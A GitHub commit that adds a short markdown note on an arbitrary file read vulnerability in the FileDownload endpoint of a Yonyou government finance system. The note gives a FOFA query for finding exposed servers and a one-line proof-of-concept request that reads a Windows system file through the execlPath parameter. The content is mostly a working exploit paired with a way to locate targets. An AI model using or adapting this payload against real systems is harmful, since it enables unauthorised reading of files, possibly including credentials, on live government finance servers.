Create 用友政务财务系统FileDownload存在任意文件读取漏洞.md

This commit is contained in:
wy876 2024-04-23 12:43:05 +08:00 committed by GitHub
parent daecdb78b9
commit 215a8cfd9c
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -0,0 +1,12 @@
## 用友政务财务系统FileDownload存在任意文件读取漏洞
## fofa
```
app="用友-政务财务系统"
```
## poc
```
/bg/attach/FileDownload?execlPath=C://Windows//win.ini
```